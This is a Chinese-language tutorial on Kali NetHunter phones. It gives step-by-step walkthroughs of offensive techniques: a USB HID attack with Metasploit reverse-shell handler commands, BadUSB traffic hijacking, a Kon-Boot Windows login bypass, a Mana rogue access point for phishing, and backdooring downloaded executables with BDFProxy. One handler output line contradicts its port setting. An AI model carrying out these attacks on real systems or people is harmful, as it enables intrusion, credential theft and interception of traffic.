Pocket Hacking: NetHunter实战指南
0x00 前言
许多朋友都希望Hacking套件可以很方便的从PC移植到更便携的手机或平板电脑上,而Offensive Security团队发布的Kali NetHunter则将这一期待变为现实,通过移动终端随时随地进行Hacking,暂且美其名曰口袋Hacking.
Kali NetHunter是以Nexus(手机/平板)为基本硬件设备(新增对1+手机的支持),基于原生Android实现的便携渗透测试平台.熟悉的Kali使其易于上手,而图形化控制界面则使某些测试更易.基于此平台,工程师们也可自由发挥,加入个人项目.
关于NetHunter国内外文章相对较少且重复度高,故在此将其主要实战技巧加以整理介绍,以备各位爱好者参考.由于资料不足,难免出错之处,如有疏漏错误,望不吝赐教.
0x01 硬件支持
NetHunter官网给出以下支持刷入NetHunter的手机:
Nexus 4 (GSM) - “mako”
Nexus 5 (GSM/LTE) - “hammerhead”
Nexus 7 [2012] (Wi-Fi) - “nakasi”
Nexus 7 [2012] (Mobile) - “nakasig”
Nexus 7 [2013] (Wi-Fi) - “razor”
Nexus 7 [2013] (Mobile) - “razorg”
Nexus 10 (Tablet) - “mantaray”
OnePlus One 16 GB - “bacon”
OnePlus One 64 GB - “bacon”
值得一提的是,2015年NetHunter更新,由于1+手机的廉价与高性能,其被加入支持列表.用1+手机的朋友有福了,以下刷机以Nexus5为例.
0x02 刷机流程
官网给出几种刷机方式,推荐使用Windows引导刷机程序安装.下载地址:
https://www.kali.org/offsec-nethunter-installer/Kali_v1.1.6.sfx.exe
打开安装引导程序,默认路径安装
安装后自动运行NetHunter Installer并更新,进入引导安装步骤
- Step1,选择已有硬件设备型号.
- Step2,安装驱动
可以通过Test Drivers测试是否安装成功
- Step3,安装选项
如已经通过官网下载过刷机包,通过Browser选择文件.下载链接http://www.offensive-security.com/kali-linux-nethunter-download/下载后记得校验SHA1值.至于Android Flash Setting,因为对Android L的支持还未完成,故尚未开放选择.
- Step4,下载文件
如图示,下载所有依赖文件.
所有依赖包都为Ready可进入下一步刷机.
- Step5,解锁设备
解锁bootloader,注意需设置允许USB调试,手机会重启解锁.
- Step6,重置原Android
同样再手机上勾选允许USB调试,注意数据会清空,记得备份.
- Step7,刷入NetHunter
经过上一步重置手机后,需重新开启开发者模式,此时可刷入Kali Linux镜像并对手机进行Root,所需时间相对较长.(注:如镜像推送不成功,可以手工将kali_linux_nethunter_1.10_hammerhead_kitkat.zip复制到/sdcard/download/目录进行INSTALL)
- Final,安装成功
0x03 推荐APP一览
完成系统刷入后,要丰富NetHunter原装工具,可以下载部分安卓APP以配合.以下为个人推荐
-
中文输入法:作为一个汉语狗还是必备的
-
文件管理器(如RootExplorer):Kali某些文件需要通过支持Root权限的文件管理器.
-
ShadowSocks:梯子还是要有的
-
MiTM工具:
```
zANTI2:虽为商业化限制部分功能,但使用体验的确好些.
dSploit:曾经很出名
lanmitm:国内安全工作者编写发布的工具
Intercepter-NG:嗅探工具
Network Spoofer:自带许多调戏功能``` * IPTools:部分常见基本网络工具集合
-
ChangeHostname:修改当前手机主机名HostName(还是有必要的).
-
WiGLE wifi:War Driving工具,收集无线热点信息,可保存到本地数据库.
-
SQLiteEditor:方便读取数据库信息
-
Hacker's KeyBoard:NetHunter自带,便于输入各种控制字符
-
远程桌面:NetHunter自带,便于连接VNC服务.
-
DriveDroid:NetHunter自带,将手机内镜像模拟为启动盘.
0x04 目录与服务
安装好NetHunter,先要对其目录与服务研究一番.Kali NetHunter根目录对应安卓系统目录的/data/local/kali-armhf目录
NetHunter自带工具,也多在此目录内.故如有抓包/日志等文件,找不到存放地址,不妨到此目录下寻觅一番(注:需Root权限).另外,NetHunter某些工具运行时的提示的目录,也多以此处为根目录.
通常,截获的数据包等文件存放在NetHunter目录下的Captures目录:
与Kali Linux类似,/usr/share下存放了大部分工具,并建立link,命令行可直接调用.
而Metasploit则依然位于/opt/目录下.
上图中/opt/dic目录则存放有字典文件,可自行补充.
此为/var/www目录,想来大家也知道是何用处了:)
至于服务,Offensive Security团队在新版中加入NetHunter Home以APP的形式管理服务开关,避免了之前版本通过WebServer管理的弊端(比如Web页面调用Google Fonts被墙卡半天 ;)
如图示,NetHunter Home为主页面,除了Offensive Security的Banner,还可以获取当前IP(内网/外网)地址.
Kali Launcher整合了四个启动器:
- 终端打开一个Kali Shell
- 终端打开Kali NetHunter Menu
- 终端打开Wifite进入无线破解
- 更新Kali NetHunter(执行sudo -c bootkali update)
对于NetHunter服务开关控制,则在Kali Service Control面板里进行设置
可看到,NetHunter可开放服务有SSH,Dnsmasq,Hostapd,OpenVPN,Apache,Metasploit及BeEF FrameWork等.
- SSH服务:Secure Shell,方便其他设备连接控制.
- Dnsmasq服务:DNS解析服务.
- Hostapd服务:提供无线接入点服务.
- OpenVPN服务:开放OpenVPN连入服务.
- Apache服务:WEB服务.
- Metasploit服务:为MSF攻击模块提供保障.
- BeEF FrameWork服务:XSS利用框架服务.
在此面板可对对应服务进行开关设置.
0x05 Kali NetHunter Menu
在NetHunter Launcher中Kali Menu的启动项,其包含整理有NetHunter常用工具,如图:
与上一个版本相比,新增了以下选项:
USB Attacks
NFC Attacks
Monitor Mode
Eject USB Wifi
主要模块及介绍如下:
Wireless Attacks
-
Wifite
自动无线安全审计工具
-
Kismet
无线WarDriving工具
-
AP F**ker
无线网恶意攻击工具(多为拒绝服务)
-
Wash
扫描开启WPS的无线网络
-
Airodump-ng
基本无线攻击套件(必备)
-
Pingen
针对某些开启WPS的D-link的路由器计算其PIN码以破解
Sniffing/Spoofing
-
tcpdump
基本流量Dump工具
-
tshark
WireShark的Cli工具,可抓取分析流量
-
urlsnarf
Dsniff工具包一部分,可嗅探HTTP请求包内容,并以CLF通用日志格式输出
-
dsniff
强大的知名口令嗅探工具包
-
MITMproxy
中间代理,可截获修改HTTP流量,参考官网介绍
Reverse Shells
-
AutoSSH
通过SSH反弹shell(NAT Bypass)
-
pTunnel
通过ICMP数据包隧道传送数据
Info Gathering
-
Spiderfoot
开源扫描与信息收集工具,对给定域名收集子域,Email地址,web服务器版本等信息,自动化扫描.
-
Recon-ng
强大的信息收集工具,模块化,可惜许多插件国内不适用(有墙).
-
Device-pharmer
通过Shodan搜索,大数据Hacking.
Vulnerability Scan
-
OpenVas
漏洞扫描器,需额外安装.Kali一直默认包含,好不好用客官自行定夺. :)
Exploit Tools
-
Metasploit
强大,核心,必备
-
BeEF-XSS
XSS渗透测试工具,看个人习惯使用
-
Social-Engineering-Toolkit
Kali下的SET,社会工程学套件,功能强大.
-
MITMf
中间人攻击框架,基于Python,拥有多个插件,渗透测试功能强大
OpenVPN Setup
OpenVPN设置
VNC Setup
VNC设置
Log/Capture Menu
可擦除本地所有抓取数据或同步到SD卡上(同步主要是解决权限问题.比如多数安卓APP未获得root权限是无法读取NetHunter工具截获的数据内容)
USB Attacks
-
Dictionary based brute force attack
自动输入字典一行内容并回车,基于HID,模拟操作方式的暴力破解
-
deADBolt
执行一堆ADB命令可以推送隐私文件等信息到指定目录,参考项目主页 https://github.com/photonicgeek/deADBolt
NFC Attack
提供了复制、重写、查看M卡数据功能(是不是不必带上Acr122u了;)
Settings
- 修改时区
- 为Metasploit创建用户和数据库
- 修改MAC地址
- 安装NodeJS
Service
- SSH服务开关
- VNC服务开关
- OpenVPN服务开关
- 在本地启动Xserver
Monitor Mode
启动或关闭wlan1(外置无线网卡)的混杂监听模式
Eject USB Wifi
弹出USB无线网卡
0x06 HID KeyBoard Attack
在过去,USB自启往往依赖插入的USB设备中的autorun.inf实现.时下这招往往不灵,而新兴的USB HID Attack则成为新的安全威胁.USB HID可通过模拟键盘或鼠标操作,实时执行目标代码,在此以PowerSploit结合MSF为例:
首先运行提供payload的webserver,在Kali Service Control中开启Apache服务器
转到HID攻击配置页面,选择PowerSploit
IP和端口填写MSF监听的IP端口,Payload我们选择windows/meterpreter/reverse_https,URL为提供Apache服务的IP,这里即本机:192.168.1.151
配置好后UPDATE配置文件,接下来需配置MSF监听反弹shell
root@kali:~# msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) >
payload同HID配置页面中的payload
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
IP和端口同样设置
msf exploit(handler) > msf exploit(handler) > set LHOST 192.168.0.17
LHOST => 192.168.0.17
msf exploit(handler) > set LPORT 4444
LPORT => 443
msf exploit(handler) > exploit
[*] Started HTTPS reverse handler on https://0.0.0.0:4444/
[*] Starting the payload handler...
至此配置OK
开始监听
此时将设备连接至PC机,等待设备被识别后,执行Execute,攻击开始.
POWERSHELL命令执行后,就可在msf中看到反弹的shell了:
如连上PC后没有反应,可按Reset USB键更新.
当然,HID KeyBoard Attack也提供了Windows CMD攻击模块,即连入计算机后自动打开CMD并执行指定命令(默认为添加新管理员用户,可自由定制).
0x07 BadUSB MITM Attack
BadUSB Attack是BlackHat大会上公布的一种较先进的USB攻击方式,模拟键盘操作等Payload可自动执行某些操作,而NetHunter的BadUSB MiTM Attack则是其中一种玩法:修改网络设定,劫持网络流量.
关于BadUSB MITM Attack,NetHunter官网有演示视频,详见http://www.nethunter.com/showcase/,但并未交代详细过程,以下笔者操作为例:
首先,确保手机连接目标计算机时,MTP文件传输是关闭的.连接目标计算机,打开手机USB网络共享:
此时在NetHunter Home打开一个Kali Shell,查看网卡多出虚拟网卡rndis0(USB网络共享网卡).
此时可以开启Tcpdump截获流量,命令如:
tcpdump -i rndis0
回到NetHunter Home,切换到BadUSB MiTM Attack,勾选右上角选项Start BadUSB Attack
被连接的计算机此时会多出一个网卡,网关为rndis0的IP地址
此时流量已可以截获,例如访问某些网站,手机tcpdump处流量显示如图:
因为手机并未插入SIM卡,无网络,故PC机并无法得到返回页面.
之前有同学在Drops分享的一片文章Kali Nethunter初体验中提到:
出现双网关现在所以并未像官网演示的那样流量直接走向恶意网关(10.0.0.1)而是依旧走的之前的网关(192.168.1.1)故劫持失败
这种情况也可能出现,不过个人测试中,网络连接优先级,默认劫持后的网关优先级更高,故流量可以正常劫持.也可能是NetHunter今年更新后做的优化,如图示:
当然,配合HID Keyboard Attack进行攻击测试也是很好的方式,至于数据包的保存与分析,则可自行发挥.
0x08 绕过Windows登录认证
NetHunter其实有许多隐藏玩法,比如借助DriveDroid实现Windows登陆绕过密码.
DriveDroid本是个允许通过安卓手机中的ISO/IMG镜像文件引导启动PC机的一个App,但结合了特定的镜像,实现绕过Windows登陆认证就变得可行:)
在此以Win7为例,首先为默认账户创建密码hello.
DriveDroid默认引导镜像存放目录位于SDCard/Download/images,只需将欲引导的镜像存放于此目录即可.
这里绕过Windows或OSX登陆认证的镜像为Kon-Boot.可以到官网了解,其原理在于处理BIOS修改系统内核的引导处理,跳过SAM检查,直接登陆系统.因为是付费软件,以下以自行寻觅的镜像为例演示.
关闭MTP文件传输,打开DriveDroid,自动列出images目录下得镜像文件.
选择Kon-Boot.img镜像挂载,模式这里选择为Read-Only USB
加载成功后相应镜像有所标志
而在连入的PC机中也会显示加载有新的可移动磁盘(或软驱盘),如未能显示,可在配置页面进行相应调整(可通过USB Setup Wizard向导指引)
此时在设有密码的PC机重启,进入BIOS设置启动项
如果镜像加载成功,可以看到飞奔的图案如下:
之后登陆用户密码处回车即可绕过密码认证登陆系统
需要说明的是,通过此方式登陆系统无法直接修改或删除系统密码.
0x09 WarDriving
犹记得当年前辈们肩扛笔记本做WarDriving的事迹,智能设备发展至今,WarDriving已可用便携设备取代.只是至今迟迟没有寻觅到比较合适直观的WarDriving工具,期待有朋友能开发或推荐个.
在NetHunter下,Kali-Menu的Wireless模块中Kismet作为WarDriving的默认工具,不过操作起来画面太美不敢看:
退而求其次,推荐使用App WigleWifi.不过注意不要不小心上传数据.使用easy,界面很难看.
好在数据可以以Sqlite数据库格式存储在本地.
0x10 Mana EvilAP蜜罐
想建个CMCC无线网络钓鱼劫持流量?PineApple没有带在身边,不妨拿出手机,开个蜜罐吧. :)
Mana蜜罐采用与PineApple相同的:Hostapd的Karma补丁,可用来欺骗接入无线网络用户,使其可很平滑连接到虚假AP中,进行后续攻击.
需要说明的是,NetHunter无线攻击模块,大都需要使用OTG外接USB无线网卡.主流芯片(可以试试Kali是否可直接识别)网卡均可.WN722N较为推荐,迷你的EDUP网卡通用性则较强(Raspberry Pi也可直接识别),只是信号强度..自然可想而知.
Mana蜜罐有多种Hacking模式,均为sh脚本,可自由定制.Mana工具安装目录为:
/usr/share/mana-toolkit
启动脚本则在此处存放:
/usr/share/mana-toolkit/run-mana
截获流量文件存放于:
/var/lib/mana-toolkit
通过NetHunter Home的Mana蜜罐页面可方便的对配置文件进行修改:
Hostapd配置文件
DHCP服务配置文件
DNS欺骗配置文件
服务启动脚本有多个,均可自由编辑修改:
上图对应脚本start-nat-full.sh,脚本需要USB无线网卡(存在上行流量)启动,无线连入为NAT模式,并启动所有脚本包括:firelamb,sslstrip,sslsplit等,截获流量并保存.
start-nat-simple.sh同样有上行流量,但并不启动firelamb,sslstrip,sslsplit等脚本.
start-nat-simple-bdf.sh,加入了BDF恶意代码Inject工具,后面章节将对其攻击思路进行介绍.
此外,还有
start-noupstream.sh
Mana作为无法上网的虚假AP启动,但可吸引WIFI默认开启的终端自动连接并抓取信息.
start-noupstream-eap.sh
Mana同样无法上网,但会进行EAP攻击
编辑好启动文件后,Start Attack,会弹窗勾选启动脚本:
即可启动服务.
0x11 Backdooring Executable Over HTTP
这个攻击思路就比较有趣了,新功能在NetHunter今年1月5号发布的版本中作为Kali Nethunter目前最新最酷炫的玩法,源于secret squirrel的github项目the-backdoor-factory和BDFProxy,可让我们轻松地对使用HTTP协议传送的二进制文件注入shellcode.
首先建立一个Mana蜜罐,SSID这里使用默认名称internet,启动服务
cd /usr/share/mana-toolkit/run-mana
./start-nat-simple-bdf.sh
再开一个Shell,编辑bdfproxy.cfg,此配置文件包含了针对不同平台默认设置的payload,可自行更换.不过由于显示问题,用nano编辑文本会一行行刷新,还是换个方式编辑比较好.这里只把IP修改192.168.1.151,也可在Nethunter的主面板下的MANA Evil Access Point中进行配置.
nano /etc/bdfproxy/bdfproxy.cfg
配置好IP之后,在Shell中直接输入bdfproxy运行之.
再新开一个Shell启动Metasploit
一切准备就绪,等待连入蜜罐AP的PC机上网下载二进制文件,在此通过百度下载everything(神器啊)演示:
运行everthing,因为注入了payload,会出现自校验失败的提示
查看MSF,已成功反弹回Shell了.而上面自校验失败的提示就是MeterPreter的screenshot帮我截取的 :)
不得不说,这个新特性真的很Cool.
0x12 Wifite破解
写到最后,还没有提到无线破解是不科学的;) NetHunter推荐的Wifite破解工具是其最早集成的功能之一.移动设备的便携性更有利于随时随地进行Wifi安全测试,只需挂载上外置无线网卡便可轻松抓包破解.不过并不建议直接在移动设备上破解抓到的包,如跑几分钟没结果,就拿高性能设备破解吧,否则易导致设备死机.
连接好外置无线网卡后,在Nethunter主菜单选择Launch Wifite即可进入
选择开启混杂监听模式的网卡,选择Wlan1
扫描开始,每5秒更新一次,当确认攻击目标后CTRL+C停止扫描
输入攻击目标序号,这里就选XDSEC-WIFI
了,输入2
抓包成功后自动调用字典破解,这里机智的把字典删掉,其自动退出
抓到的握手包存放在/data/local/kali-armhf/HS目录下,命名规则是SSID+MAC
如果目标开启WPS,则自动进行PIN码破解.
Wifite相对傻瓜化,易操作,适合移动终端.对无线网密码测试笔者也成功过几次,连入无线后结合zANTI等工具调戏即可:)
0x13 写在最后
文末,已将NetHunter大部分实战玩法进行相应介绍,文章为卷毛zing同学与顺毛le4f同学共同编写,能力有限,如有不足之处望指出.抛砖引玉,期待有更多技巧分享.